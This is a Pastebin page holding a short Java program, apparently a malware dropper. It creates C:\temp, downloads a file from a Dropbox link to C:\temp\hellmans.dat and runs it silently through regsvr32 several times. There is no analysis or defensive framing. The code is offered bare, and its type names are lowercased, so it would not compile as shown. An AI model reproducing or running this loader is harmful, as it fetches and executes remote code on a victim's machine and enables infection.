Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- package com.cakes;
- import java.io.*;
- import java.net.URL;
- public class giatompoutso {
- public giatompoutso() {
- }
- public static void sikoseTo() throws ioexception {
- for (int m = 1; m < 8; m++) {
- string cmd[] = { "regsvr32", "/s", "C:\\temp\\hellmans.dat" };
- runtime.getRuntime().exec(cmd);
- }
- }
- public static void main(string args[]) throws exception {
- (new file("C:\\temp")).mkdir();
- file u = new file("C:\\temp\\hellmans.dat");
- if (u.exists()) {
- sikoseTo();
- } else {
- string toSpitiTouPepe = "http://dl.dropboxusercontent.com/s/72sv69ygrgqazfn/module.dat?dl=1";
- string oProorismosTouPepe = "C:\\temp\\hellmans.dat";
- RixtoKato(toSpitiTouPepe, oProorismosTouPepe);
- }
- }
- public static void RixtoKato(string diefthynsi, string proorismos)
- throws ioexception {
- url url = new url(diefthynsi);
- inputstream is = url.openStream();
- outputstream os = new fileoutputstream(proorismos);
- byte b[] = new byte[0x493e7];
- int length;
- while ((length = is.read(b)) != -1)
- os.write(b, 0, length);
- is.close();
- os.close();
- sikoseTo();
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement